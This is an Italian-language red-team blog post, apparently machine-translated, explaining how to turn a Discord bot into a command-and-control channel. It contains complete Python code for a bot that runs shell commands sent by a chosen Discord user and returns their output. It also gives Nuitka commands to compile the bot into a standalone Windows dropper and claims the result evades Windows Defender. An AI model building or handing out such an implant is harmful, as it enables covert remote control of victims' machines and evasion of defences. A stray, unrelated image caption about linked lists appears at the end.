Utilizzo di Discord come comando e controllo (C2) con Python e Nuitka
Salve compagni Red Team, stavo pensando a un modo per offuscare il traffico C2 e mi sono fatto un'idea. Perché non incatenare il traffico su alcuni canali verificati, come Discord? Ma cosa succede se il target non ha Discord installato? Ne parlerò più tardi. Ho avuto qualche precedente esperienza con lo sviluppo di Discord Bots me stesso, il mio server discord (per condividere conoscenze ed esperienze di pentesting / red teaming) ha un bot discord codificato manualmente, basato su python.
Sentiti benvenuto sul server:https://discord.gg/dWCe5ZMvtQ
Inoltre, se preferisci guardare un video invece di leggere, puoi trovarlo qui:https://youtu.be/LnXOtHhCx08
Teoria
Indipendentemente dal motore di programmazione, tutti i robot discord funzionano più o meno allo stesso modo. Stanno usando i webhook per eseguire azioni che specifichi loro con le autorizzazioni. Esistono molte librerie che supportano diversi linguaggi di programmazione. I robot Discord possono essere scritti praticamente in ogni lingua, seguendo la documentazione dell'API (https://discord.com/developers/docs/intro).
I robot Discord su Python utilizzano una libreria chiamata discord.py (https://discordpy.readthedocs.io/en/stable/)
È semplice da configurare e utilizzare. Il codice del bot stesso è facile da capire e scrivere. Ora torniamo al punto principale, come armarlo?
Il problema deriva da lì, quando si esegue il bot, il PC ignora i firewall poiché sta parlando direttamente con i server Discord. Ciò significa che il traffico è crittografato e si trova sul canale verificato. Ciò significa che se codifichiamo il bot per leggere e scrivere comandi su un canale specifico, possiamo ottenere l'esecuzione di codice crittografato. Il codice su Python è semplicissimo, ma c'è un grosso problema. Come forzeremmo l'obiettivo a eseguire un codice Python?
La soluzione migliore che ho trovato finora è utilizzare Nuitka(https://nuitka.net/) per compilare il codice Python in un PE autonomo (Portable Executable). In questo modo abbiamo un contagocce C2 standard. (Esamineremo qual è il problema principale di Nuitka)
Ora analizziamo le parti di codice. Dobbiamo eseguire le seguenti attività:
- Crea discordia Bot
- Unisci il bot al server personalizzato
- Codifica il bot per trattare i messaggi utente come comandi e per restituire l'output.
- Compila in PE
Come creare un Discord Bot?
Navigare versohttps://discord.com/login?redirect_to=%2Fdevelopers%2Fapplications
Fare clic su Nuova applicazione:
Dagli un nome:
Quindi fare clic sul sottomenu Bot:
Aggiungi Bot:
Assicurati di abilitare tutti gli intenti (specialmente quello del messaggio)
Un'altra cosa da fare, vai al tuo bot e reimposta il token, salva quello nuovo in un posto sicuro. Questo sarà necessario per il passaggio 3.
Come aggiungere il bot al mio server?
Ora il bot è pronto, per aggiungerlo clicca su URL Generator sotto Oauth2 Menu.
Controlla Bot -> Amministratore -> Copia e incolla l'URL nel browser. Quindi scegli semplicemente il server su cui aggiungere il bot.
Come codificare il bot?
Ora arriva la parte divertente!
Analizziamo il seguente pezzo di codice:
from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time
DISCORD_TOKEN = "Token from step 1"
def Exec(cmd):
output = subprocess.check_output(cmd, shell=False)
return output
intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)
@bot.command()
async def IssueCmd(ctx, arg):
await ctx.send(arg)
@bot.event
async def on_message(message):
if(message.author.id == 1046317520178663534):
await message.channel.send(Exec(message.content).decode("utf-8"))
if __name__ == "__main__":
bot.run(DISCORD_TOKEN)
Le prime righe sono le importazioni della libreria e il token statico del passaggio 1.
from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time
DISCORD_TOKEN = "Token from step 1"
def Exec(cmd):
output = subprocess.check_output(cmd, shell=False)
return output
intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)
@bot.command()
async def IssueCmd(ctx, arg):
await ctx.send(arg)
@bot.event
async def on_message(message):
#obviously replace the userid with your own
if(message.author.id == 1046317520178663534#obv):
await message.channel.send(Exec(message.content).decode("utf-8"))
if __name__ == "__main__":
bot.run(DISCORD_TOKEN)
Ora la parte difficile.
Come compilare il codice in PE?
Allo scopo, mi sono fermato a Nuitka. È abbastanza semplice da usare. Dobbiamo solo essere pazienti. Richiede il compilatore MinGW-64, ma scaricherà automaticamente una versione adatta la prima volta che lo esegui.
Per installare nuitka, puoi semplicemente andare con
pip install nuitka
python -m nuitka --mingw64 .\main.py --standalone --onefile
E per Windows Defender?
Tutto è chiaro per lui.
E i venditori di Antiscanme?
La dimensione del file era estremamente grande per me per caricarlo. Se voi ragazzi avete un laboratorio dedicato con un gruppo di venditori AV, sentitevi liberi di provarlo contro di loro.
Aspetterò i tuoi risultati sul mio twitter!
Qual è il problema?
Poiché ha generato un singolo PE autonomo, Nuitka aveva bisogno di combinare tutte le librerie e compilarle tutte insieme. Ecco perché il processo era lento e il file aveva una dimensione di oltre 40 MB. Questo è ovviamente un problema che affronteremo in futuro. Un altro problema è il fastidioso pop-up durante l'esecuzione. Inoltre, è possibile eseguire molte cose, come l'iniezione di processo, ma dubito che possiamo ottenerlo con dimensioni di file così enormi. Lo lasceremo per il prossimo!
Avvolgendo
Sii sempre il più creativo possibile. Maggiore è la conoscenza che hai, maggiori saranno le opportunità per implementare la creatività che dovrai affrontare. Anche se la versione attuale è tutt'altro che utilizzabile, penso che fornisca una solida base su cosa costruire. Il C2 funzionava alla grande, il suo unico problema era la dimensione del file. Dopo tutto, nessuna cosa è perfetta.
Grazie per aver letto e spero che tu abbia imparato qualcosa di nuovo.
Puoi sostenere il mio lavoro offrendomi un caffè:https://www.buymeacoffee.com/lsecqt

![Che cos'è un elenco collegato, comunque? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































